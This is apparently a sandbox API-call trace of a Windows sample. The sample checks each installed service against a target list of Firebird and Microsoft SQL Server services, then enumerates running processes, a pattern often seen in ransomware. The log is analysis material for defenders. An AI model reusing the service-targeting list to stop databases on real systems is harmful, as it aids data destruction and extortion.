[0087.797] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0087.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0087.797] lstrlenW (lpString="NcbService") returned 10 [0087.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0087.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0087.797] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0087.797] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0087.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0087.797] lstrlenW (lpString="netprofm") returned 8 [0087.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0087.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0087.798] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0087.798] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0087.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0087.798] lstrlenW (lpString="NlaSvc") returned 6 [0087.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0087.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0087.798] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0087.798] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0087.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0087.798] lstrlenW (lpString="nsi") returned 3 [0087.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0087.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0087.798] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0087.798] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0087.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0087.798] lstrlenW (lpString="PcaSvc") returned 6 [0087.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0087.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0087.798] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0087.798] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0087.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0087.798] lstrlenW (lpString="PlugPlay") returned 8 [0087.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0087.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0087.798] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0087.798] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0087.799] lstrlenW (lpString="Power") returned 5 [0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0087.799] lstrlenW (lpString="ProfSvc") returned 7 [0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0087.799] lstrlenW (lpString="RpcEptMapper") returned 12 [0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0087.799] lstrlenW (lpString="RpcSs") returned 5 [0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0087.799] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0087.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0087.799] lstrlenW (lpString="SamSs") returned 5 [0087.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0087.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0087.799] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0087.800] lstrlenW (lpString="Schedule") returned 8 [0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0087.800] lstrlenW (lpString="SecurityHealthService") returned 21 [0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0087.800] lstrlenW (lpString="SENS") returned 4 [0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0087.800] lstrlenW (lpString="ShellHWDetection") returned 16 [0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0087.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0087.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0087.800] lstrlenW (lpString="Spooler") returned 7 [0087.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0087.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0087.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0087.801] lstrlenW (lpString="SSDPSRV") returned 7 [0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0087.801] lstrlenW (lpString="StateRepository") returned 15 [0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0087.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0087.801] lstrlenW (lpString="SysMain") returned 7 [0087.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0087.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0087.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0087.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0087.801] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x36840c8 | out: hHeap=0x440000) returned 1 [0087.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0088.083] Process32FirstW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.083] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0088.084] lstrlenW (lpString="System") returned 6 [0088.084] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0088.085] lstrlenW (lpString="smss.exe") returned 8 [0088.085] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.086] lstrlenW (lpString="csrss.exe") returned 9 [0088.086] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0088.086] lstrlenW (lpString="wininit.exe") returned 11 [0088.087] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.087] lstrlenW (lpString="csrss.exe") returned 9 [0088.087] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0088.088] lstrlenW (lpString="winlogon.exe") returned 12 [0088.088] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0088.088] lstrlenW (lpString="services.exe") returned 12 [0088.089] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0088.089] lstrlenW (lpString="lsass.exe") returned 9 [0088.089] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.090] lstrlenW (lpString="svchost.exe") returned 11 [0088.090] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0088.091] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0088.091] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0088.091] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0088.091] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.092] lstrlenW (lpString="svchost.exe") returned 11 [0088.092] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0088.093] lstrlenW (lpString="dwm.exe") returned 7 [0088.094] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.094] lstrlenW (lpString="svchost.exe") returned 11 [0088.094] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.095] lstrlenW (lpString="svchost.exe") returned 11 [0088.095] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.096] lstrlenW (lpString="svchost.exe") returned 11 [0088.096] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.096] lstrlenW (lpString="svchost.exe") returned 11 [0088.096] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.097] lstrlenW (lpString="svchost.exe") returned 11 [0088.097] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.098] lstrlenW (lpString="svchost.exe") returned 11 [0088.098] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.098] lstrlenW (lpString="svchost.exe") returned 11 [0088.098] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.099] lstrlenW (lpString="svchost.exe") returned 11 [0088.099] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.100] lstrlenW (lpString="svchost.exe") returned 11 [0088.100] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0088.101] lstrlenW (lpString="spoolsv.exe") returned 11 [0088.101] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.102] lstrlenW (lpString="svchost.exe") returned 11 [0088.102] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.102] lstrlenW (lpString="svchost.exe") returned 11 [0088.102] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0088.103] lstrlenW (lpString="audiodg.exe") returned 11 [0088.103] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0088.104] lstrlenW (lpString="sihost.exe") returned 10 [0088.104] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.104] lstrlenW (lpString="svchost.exe") returned 11 [0088.104] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.105] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.105] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0088.106] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0088.106] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0088.250] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0088.250] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0088.250] lstrlenW (lpString="explorer.exe") returned 12 [0088.250] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0088.251] lstrlenW (lpString="Memory Compression") returned 18 [0088.251] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0088.252] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0088.252] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0088.252] lstrlenW (lpString="SearchUI.exe") returned 12 [0088.252] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0088.253] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0088.253] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.254] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0088.254] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.255] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.255] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0088.255] lstrlenW (lpString="UsoClient.exe") returned 13 [0088.255] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0088.256] lstrlenW (lpString="taskhostw.exe") returned 13 [0088.256] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0088.257] lstrlenW (lpString="msoia.exe") returned 9 [0088.257] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0088.257] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0088.257] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0088.258] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0088.258] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0088.259] lstrlenW (lpString="msoia.exe") returned 9 [0088.259] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0088.260] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0088.260] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0088.261] lstrlenW 